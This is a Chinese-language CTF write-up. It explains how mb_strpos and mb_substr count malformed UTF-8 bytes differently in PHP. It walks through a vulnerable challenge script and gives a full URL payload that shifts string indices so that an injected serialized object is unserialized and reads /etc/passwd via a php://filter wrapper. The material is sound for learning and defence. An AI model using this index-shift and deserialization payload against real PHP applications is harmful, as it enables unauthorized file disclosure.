mb_strpos与mb_substr错位索引

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
2. mb_substr和mb_strpos函数漏洞
mb_strpos() 和 mb_substr() 是 PHP 中用于处理多字节字符的函数,专门用于处理 UTF-8 或其他多字节编码的字符串。
(1)mb_strpos: 用于查找一个字符串在另一个字符串中第一次出现的位置(索引),返回结果是该子字符串第一次出现的位置(索引)。
mb_strpos(string $haystack, string $needle, int $offset = 0, string $encoding = null): int|false
$haystack:要在其中搜索子字符串的源字符串。
$needle:要搜索的子字符串。
$offset(可选):从哪个位置开始搜索,默认为 0。
$encoding(可选):要使用的字符编码,默认为内部字符编码。

(2)mb_substr: 用于获取一个字符串的子串,返回结果是指定位置和长度的子字符串。
mb_substr(string $string, int $start, int $length = null, string $encoding = null): string|false
$string:要截取的原始字符串。
$start:截取的起始位置。如果是负数,则表示从末尾开始计数。
$length(可选):要截取的长度。如果未指定,则默认截取至字符串的末尾。
$encoding(可选):要使用的字符编码,默认为内部字符编码。
1
2
3
4
5
6
7
8
9
当以 \xF0 开头的字节序列出现在 UTF-8 编码中时,通常表示一个四字节的 Unicode 字符。这是因为 UTF-8 编码规范定义了以 \xF0 开头的字节序列用于编码较大的 Unicode 字符。
不符合4位的规则的话,mb_substr和mb_strpos执行存在差异:
(1)mb_strpos遇到\xF0时,会把无效字节先前的字节视为一个字符,然后从无效字节重新开始解析
mb_strpos("\xf0\x9fAAA<BB", '<'); #返回4 \xf0\x9f视作是一个字节,从A开始变为无效字节 #A为\x41 上述字符串其认为是7个字节

(2)mb_substr遇到\xF0时,会把无效字节当做四字节Unicode字符的一部分,然后继续解析
mb_substr("\xf0\x9fAAA<BB", 0, 4); #"\xf0\x9fAAA<B" \xf0\x9fAA视作一个字符 上述字符串其认为是5个字节

结论:mb_strpos相对于mb_substr来说,可以把索引值向后移动
1
2
3
4
5
6
3. mb_substr和mb_strpos函数漏洞与本题结合
通过控制C的长度可以控制我们想要执行$key的长度
通过控制B我们可以控制索引值需要提前几位
每发送一个%f0abc,mb_strpos认为是4个字节,mb_substr认为是1个字节,相差3个字节
每发送一个%f0%9fab,mb_strpos认为是3个字节,mb_substr认为是1个字节,相差2个字节
每发送一个%f0%9f%9fa,mb_strpos认为是2个字节,mb_substr认为是1个字节,相差1个字节

例子:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php 
highlight_file(__FILE__);
error_reporting(0);
function substrstr($data)
{
$start = mb_strpos($data, "[");
$end = mb_strpos($data, "]");
return mb_substr($data, $start + 1, $end - 1 - $start);
}
class read_file{
public $start;
public $filename="/etc/passwd";
public function __construct($start){
$this->start=$start;
}
public function __destruct(){
if($this->start == "gxngxngxn"){
echo 'What you are reading is:'.file_get_contents($this->filename);
}
}
}
if(isset($_GET['start'])){
$readfile = new read_file($_GET['start']);
$read=isset($_GET['read'])?$_GET['read']:"I_want_to_Read_flag";
if(preg_match("/\[|\]/i", $_GET['read'])){
die("NONONO!!!");
}
$ctf = substrstr($read."[".serialize($readfile)."]");
unserialize($ctf);
}else{
echo "Start_Funny_CTF!!!";
}

审计上述代码,发现传入参数start和read,会拼接read和realfile的序列化。

根据代码知道,在调用函数截取的时候是以 “[” 开始的,但是read里面又不能有 “[”,所以一定只能截取[]内的序列化。但是只有变量start是可控的,其它不可控,看似无解,但可利用上述的漏洞,让其发生错位索引,从而执行我们自己传入的序列化列表。

1
2
3
4
5
6
7
8
9
10
如果start=gxngxngxn,序列化为:
O:9:"read_file":2:{s:5:"start";s:9:"gxngxngxn";s:8:"filename";s:11:"/etc/passwd";}

如果我们自己构造一个序列化表传入,start=O:9:"read_file":2:{s:5:"start";s:9:"gxngxngxn";s:8:"filename";s:55:"php://filter/convert.base64-encode/resource=/etc/passwd";}
序列化结果为:
O:9:"read_file":2:{s:5:"start";s:126:"O:9:"read_file":2:{s:5:"start";s:9:"gxngxngxn";s:8:"filename";s:55:"php://filter/convert.base64-encode/resource=/etc/passwd";}";s:8:"filename";s:11:"/etc/passwd";}

相比较,前面多了一串:
O:9:"read_file":2:{s:5:"start";s:126:"
刚好多了38个字符,就可以通过传参read来利用上述漏洞,让他们错位38个索引

payload:

1
?read=%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0%9f%9fa%f0%9f%9fa&start=O:9:"read_file":2:{s:5:"start";s:9:"gxngxngxn";s:8:"filename";s:55:"php://filter/convert.base64-encode/resource=/etc/passwd";}

接下来分析一下,传进去后,在传入截取函数前,它们会组合成:

%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0%9f%9fa%f0%9f%9fa[O:9:“read_file”:2:{s:5:“start”;s:126:“O:9:“read_file”:2:{s:5:“start”;s:9:“gxngxngxn”;s:8:“filename”;s:55:“php://filter/convert.base64-encode/resource=/etc/passwd”;}”;s:8:“filename”;s:11:“/etc/passwd”;}]

根据上述漏洞,mb_strpos索引"[“时,会索引到 12x4+2x2+1-1 = 52,即”["下标是52

mb_substr在截取时,就会从下标为53的截取。 53=12x1+1x2+1+38+1-1,刚好绕过了前面的38个字符串,从而反序列化我们自己传入的序列化表。